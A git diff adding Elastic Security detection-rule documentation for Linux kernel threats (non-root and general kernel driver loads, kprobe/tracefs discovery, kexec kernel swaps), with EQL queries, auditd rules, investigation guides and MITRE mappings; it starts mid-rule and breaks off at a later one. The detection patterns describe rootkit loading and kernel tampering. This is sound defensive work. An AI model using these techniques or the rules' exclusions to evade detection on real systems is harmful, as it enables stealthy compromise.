(x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "?:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe", + "?:\\Program Files (x86)\\Microsoft Silverlight\\sllauncher.exe", + "?:\\Program Files (x86)\\Nmap\\nmap.exe", + "?:\\Program Files (x86)\\Nmap OEM\\nmap.exe", + "?:\\Program Files (x86)\\nwps\\NetScanTools Pro\\NSTPRO.exe", + "?:\\Program Files (x86)\\SAP BusinessObjects\\tomcat\\bin\\tomcat9.exe", + "?:\\Program Files (x86)\\SuperScan\\scanner.exe", + "?:\\Program Files (x86)\\Zscaler\\ZSATunnel\\ZSATunnel.exe", + "?:\\Windows\\System32\\lsass.exe", + "?:\\Windows\\System32\\MicrosoftEdgeCP.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\SysWOW64\\vmnat.exe", + "?:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_*\\MicrosoftEdge.exe", + "System" + ) and process.code_signature.trusted == true + ) and + destination.address != "127.0.0.1" and destination.address != "::1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-driver-load-by-non-root-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-driver-load-by-non-root-user.asciidoc new file mode 100644 index 0000000000..ca1746ca06 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-driver-load-by-non-root-user.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-kernel-driver-load-by-non-root-user]] +=== Kernel Driver Load by non-root User + +Detects the loading of a Linux kernel module by a non-root user through system calls. Threat actors may leverage Linux kernel modules to load a rootkit on a system providing them with complete control and the ability to hide from security products. As other rules monitor for the addition of Linux kernel modules through system utilities or .ko files, this rule covers the gap that evasive rootkits leverage by monitoring for kernel module additions on the lowest level through auditd_manager. + +*Rule type*: eql + +*Rule indices*: + +* logs-auditd_manager.auditd-* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerable Driver +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Driver Load by non-root User* + + +Kernel modules extend the functionality of the Linux kernel, allowing dynamic loading of drivers or features. Typically, only root users can load these modules due to their potential to alter system behavior. Adversaries may exploit this by loading malicious modules, such as rootkits, to gain control and evade detection. The detection rule identifies non-root users attempting to load modules, signaling potential unauthorized activity. + + +*Possible investigation steps* + + +- Review the alert details to identify the non-root user (user.id) involved in the kernel module loading attempt. +- Check the system logs and audit logs for any additional context around the time of the event, focusing on the specific system calls (init_module, finit_module) used. +- Investigate the source and legitimacy of the kernel module being loaded by examining the module's file path and associated metadata. +- Assess the user's recent activity and permissions to determine if there are any signs of privilege escalation or unauthorized access. +- Correlate this event with other security alerts or anomalies on the same host to identify potential patterns of malicious behavior. +- Verify the integrity and security posture of the affected system by running a comprehensive malware and rootkit scan. + + +*False positive analysis* + + +- Legitimate software or system utilities may occasionally load kernel modules as part of their normal operation. Identify these applications and verify their behavior to ensure they are not malicious. +- Development environments or testing scenarios might involve non-root users loading kernel modules for legitimate purposes. Consider creating exceptions for these specific users or processes after thorough validation. +- Some system management tools or scripts executed by non-root users might trigger this rule. Review these tools and, if deemed safe, add them to an exception list to prevent unnecessary alerts. +- In environments where non-root users are granted specific permissions to load kernel modules, ensure these permissions are documented and monitored. Adjust the rule to exclude these known and authorized activities. +- Regularly review and update the list of exceptions to ensure that only verified and non-threatening behaviors are excluded, maintaining the integrity of the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the non-root user attempting to load the kernel module to halt any ongoing malicious activity. +- Conduct a thorough review of the loaded kernel modules on the affected system to identify and remove any unauthorized or malicious modules. +- Reset credentials and review permissions for the non-root user involved in the alert to prevent further unauthorized actions. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the scope of the compromise and identify any additional affected systems. +- Implement enhanced monitoring and logging for kernel module loading activities across all systems to detect similar threats in the future. +- Review and update security policies to ensure that only authorized users have the necessary permissions to load kernel modules, reducing the risk of unauthorized access. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Auditd Manager. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule the following additional audit rules are required to be added to the integration: + -- "-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules" + -- "-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules" + + +==== Rule query + + +[source, js] +---------------------------------- +driver where host.os.type == "linux" and event.action == "loaded-kernel-module" and +auditd.data.syscall in ("init_module", "finit_module") and user.id != "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-driver-load.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-driver-load.asciidoc new file mode 100644 index 0000000000..1b08bf60ac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-driver-load.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-kernel-driver-load]] +=== Kernel Driver Load + +Detects the loading of a Linux kernel module through system calls. Threat actors may leverage Linux kernel modules to load a rootkit on a system providing them with complete control and the ability to hide from security products. As other rules monitor for the addition of Linux kernel modules through system utilities or .ko files, this rule covers the gap that evasive rootkits leverage by monitoring for kernel module additions on the lowest level through auditd_manager. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Rootkit +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Driver Load* + + +Kernel modules extend the functionality of the Linux kernel, allowing dynamic loading of drivers and other components. Adversaries exploit this by loading malicious modules, or rootkits, to gain stealthy control over systems. The 'Kernel Driver Load' detection rule leverages auditd to monitor system calls like `init_module`, identifying unauthorized module loads indicative of potential rootkit activity, thus enhancing threat detection and system integrity. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host where the kernel module was loaded, focusing on the host.os.type field to confirm it is a Linux system. +- Examine the event.action field to verify that the action was indeed "loaded-kernel-module" and check the auditd.data.syscall field for the specific system call used, either "init_module" or "finit_module". +- Investigate the timeline of events on the affected host around the time of the alert to identify any suspicious activities or changes, such as new user accounts, unexpected network connections, or file modifications. +- Check the system logs and audit logs on the affected host for any additional context or anomalies that coincide with the module load event. +- Identify the source and legitimacy of the loaded kernel module by examining the module's file path, signature, and associated metadata, if available. +- Assess the potential impact and scope of the incident by determining if similar alerts have been triggered on other hosts within the environment, indicating a broader campaign or attack. + + +*False positive analysis* + + +- Legitimate kernel module updates or installations can trigger alerts. Regularly scheduled updates or installations by trusted administrators should be documented and excluded from monitoring to reduce noise. +- System utilities that load kernel modules as part of their normal operation may cause false positives. Identify these utilities and create exceptions for their expected behavior. +- Automated configuration management tools that deploy or update kernel modules can generate alerts. Ensure these tools are recognized and their activities are whitelisted. +- Development environments where kernel modules are frequently compiled and tested may lead to frequent alerts. Exclude specific development hosts or processes from monitoring to avoid unnecessary alerts. +- Security software that loads kernel modules for protection purposes might be flagged. Verify and exclude these modules if they are from trusted vendors. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement. +- Verify the legitimacy of the loaded kernel module by checking its source and integrity. If the module is unauthorized or suspicious, unload it using appropriate system commands. +- Conduct a thorough scan of the system using updated antivirus or anti-malware tools to identify and remove any additional malicious components or rootkits. +- Review and analyze system logs, especially those related to auditd, to identify any unauthorized access or changes made by the adversary. This can help in understanding the scope of the compromise. +- Restore the system from a known good backup if the integrity of the system is in question and if the malicious activity cannot be fully remediated. +- Implement stricter access controls and monitoring on kernel module loading activities to prevent unauthorized actions in the future. This may include restricting module loading to trusted users or processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. + +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` + +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. + +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules +-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules +``` + +Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. + + +==== Rule query + + +[source, js] +---------------------------------- +driver where host.os.type == "linux" and event.action == "loaded-kernel-module" and +auditd.data.syscall in ("init_module", "finit_module") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-instrumentation-discovery-via-kprobes-and-tracefs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-instrumentation-discovery-via-kprobes-and-tracefs.asciidoc new file mode 100644 index 0000000000..9c76932c5b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-instrumentation-discovery-via-kprobes-and-tracefs.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-kernel-instrumentation-discovery-via-kprobes-and-tracefs]] +=== Kernel Instrumentation Discovery via kprobes and tracefs + +Detects common utilities accessing kprobes and tracing-related paths in debugfs/tracefs, which may indicate discovery of kernel instrumentation hooks. Adversaries can enumerate these locations to understand or prepare for eBPF, kprobe, or tracepoint-based activity. This behavior can also be benign during troubleshooting, performance analysis, or observability tooling validation. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Instrumentation Discovery via kprobes and tracefs* + + +This rule detects common Linux utilities and shells reading kprobes and tracing locations under debugfs/tracefs, signaling discovery of kernel instrumentation hooks. Attackers use this to understand which kprobe/tracepoint interfaces are available or already in use before deploying eBPF-based collection or stealthy monitoring. A typical pattern is a script that iterates tracing directories and reads kprobe and tracepoint listings to map callable probes and active tracing state. + + +*Possible investigation steps* + + +- Review the full command line and the specific tracefs/debugfs paths accessed to determine whether this was benign directory enumeration or targeted inspection of sensitive files like `available_filter_functions`, `kprobe_events`, `set_ftrace_filter`, or `trace_pipe`. +- Identify the initiating user and process tree, then search nearby activity for follow-on steps such as writing to `kprobe_events`/`uprobe_events`, enabling tracing events, or sustained reads from `trace_pipe`. +- Validate whether `debugfs`/`tracefs` are mounted and assess the host’s role and installed observability/performance tooling to quickly separate routine diagnostics from unexpected tracing access. +- Hunt for adjacent signals of kernel instrumentation setup or abuse, including use of eBPF tooling (`bpftool`, `bpftrace`, BCC), `perf`, suspicious `bpf()` syscall activity, or module loading around the same time window. +- Compare current tracing configuration and recent file modification activity under `/sys/kernel/debug/tracing` and `/sys/kernel/tracing` against baseline expectations to detect tampering or persistence. + + +*False positive analysis* + + +- A system administrator or automated diagnostic script may use basic utilities like `cat`, `grep`, or `find` to enumerate `/sys/kernel/debug/tracing` or `/sys/kernel/tracing` during kernel troubleshooting or performance triage to confirm tracefs/debugfs is mounted and to review available functions/events. +- Routine validation of tracing configuration after kernel upgrades or configuration changes can involve shells running `ls`, `stat`, or `readlink` over kprobe and tracing paths to verify current settings and permissions, even when no malicious instrumentation is intended. + + +*Response and remediation* + + +- Contain suspected abuse by isolating the host and immediately stopping the offending script/process tree that is enumerating `/sys/kernel/debug/kprobes/*` or `/sys/kernel/*tracing/*`, then preserve the shell history and the script/binary on disk for analysis. +- Eradicate kernel instrumentation changes by checking for and removing any attacker-added entries in `kprobe_events`/`uprobe_events`, disabling any enabled tracing knobs, and remounting or unmounting `debugfs`/`tracefs` if they are not required for operations. +- Recover to a known-good state by rebooting to clear transient tracing state, validating that `trace_pipe` is not being read continuously, and confirming that expected observability tooling (if any) still functions after tracing is reset. +- Escalate to incident response immediately if you observe writes to `kprobe_events`/`uprobe_events`, sustained reads from `trace_pipe`, or nearby execution of eBPF/performance tooling (e.g., `bpftool`, `bpftrace`, `perf`) by an unexpected user or from an unusual parent process. +- Harden to prevent recurrence by restricting access to `debugfs`/`tracefs` to administrators only, disabling unprivileged BPF where feasible, and enforcing MAC policies (SELinux/AppArmor) to deny non-approved processes from reading or writing tracing interfaces. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ( + "cat", "grep", "head", "tail", "ls", + "less", "more", + "awk", "sed", "cut", "tr", "xargs", "tee", + "find", "stat", "readlink", + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox" +) and +process.args like ("/sys/kernel/debug/kprobes/*", "/sys/kernel/debug/tracing/*", "/sys/kernel/tracing/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-load-or-unload-via-kexec-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-load-or-unload-via-kexec-detected.asciidoc new file mode 100644 index 0000000000..7290fb93ef --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-load-or-unload-via-kexec-detected.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-34-kernel-load-or-unload-via-kexec-detected]] +=== Kernel Load or Unload via Kexec Detected + +This detection rule identifies the usage of kexec, helping to uncover unauthorized kernel replacements and potential compromise of the system's integrity. Kexec is a Linux feature that enables the loading and execution of a different kernel without going through the typical boot process. Malicious actors can abuse kexec to bypass security measures, escalate privileges, establish persistence or hide their activities by loading a malicious kernel, enabling them to tamper with the system's trusted state, allowing e.g. a VM Escape. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.crowdstrike.com/blog/venom-vulnerability-details/ +* https://www.makeuseof.com/what-is-venom-vulnerability/ +* https://madaidans-insecurities.github.io/guides/linux-hardening.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Load or Unload via Kexec Detected* + + +Kexec is a Linux feature allowing a new kernel to load without rebooting, streamlining updates and recovery. However, attackers can exploit kexec to bypass security, escalate privileges, or hide activities by loading malicious kernels. The detection rule identifies suspicious kexec usage by monitoring process actions and arguments, excluding benign parent processes, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of the kexec command with suspicious arguments such as "--exec", "-e", "--load", "-l", "--unload", or "-u". +- Investigate the parent process of the kexec command to ensure it is not a benign process like "kdumpctl" or "unload.sh", which are excluded from the detection rule. +- Check the user account associated with the kexec process to determine if it has the necessary privileges and if the activity aligns with their typical behavior. +- Analyze recent system logs and security events for any signs of privilege escalation or unauthorized kernel modifications around the time the kexec command was executed. +- Examine the system for any signs of persistence mechanisms or other indicators of compromise that may suggest a broader attack campaign. +- Correlate this event with other alerts or anomalies in the environment to assess if this is part of a larger attack pattern or isolated incident. + + +*False positive analysis* + + +- Kdump operations may trigger false positives as kdumpctl is a benign parent process for kexec. Ensure kdumpctl is included in the exclusion list to prevent unnecessary alerts. +- Custom scripts for kernel unloading, such as unload.sh, can cause false positives. Verify these scripts are legitimate and add them to the exclusion list if they are frequently used in your environment. +- Routine administrative tasks involving kernel updates or testing may involve kexec. Confirm these activities are authorized and consider excluding specific administrative accounts or processes from detection. +- Automated system recovery processes that utilize kexec might be flagged. Identify these processes and exclude them if they are part of a known and secure recovery mechanism. +- Security tools or monitoring solutions that use kexec for legitimate purposes should be reviewed and excluded to avoid false alerts, ensuring they are recognized as trusted applications. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the attacker. +- Terminate any suspicious kexec processes identified by the detection rule to halt any ongoing malicious kernel loading activities. +- Conduct a thorough review of system logs and process histories to identify any unauthorized kernel loads or modifications, and revert to a known good state if necessary. +- Restore the system from a clean backup taken before the suspicious activity was detected to ensure system integrity and remove any potential backdoors or malicious kernels. +- Update and patch the system to the latest security standards to mitigate any vulnerabilities that could be exploited by similar attacks in the future. +- Implement strict access controls and monitoring on systems with kexec capabilities to prevent unauthorized usage and ensure only trusted personnel can perform kernel operations. +- Escalate the incident to the security operations center (SOC) or relevant incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "kexec" and process.args in ("--exec", "-e", "--load", "-l", "--unload", "-u") and +not ( + process.parent.name in ("kdumpctl", "unload.sh") or + process.parent.args in ("/usr/bin/kdumpctl", "/usr/sbin/kdump-config", "/usr/lib/kdump/unload.sh") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Modify System Image +** ID: T1601 +** Reference URL: https://attack.mitre.org/techniques/T1601/ +* Sub-technique: +** Name: Patch System Image +** ID: T1601.001 +** Reference URL: https://attack.mitre.org/techniques/T1601/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-module-load-from-unusual-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-module-load-from-unusual-location.asciidoc new file mode 100644 index 0000000000..8d071bf12a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-module-load-from-unusual-location.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-kernel-module-load-from-unusual-location]] +=== Kernel Module Load from Unusual Location + +This rule detects the loading of a kernel module from an unusual location. Threat actors may use this technique to maintain persistence on a system by loading a kernel module into the kernel namespace. This behavior is strongly related to the presence of a rootkit on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Threat: Rootkit +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Module Load from Unusual Location* + + 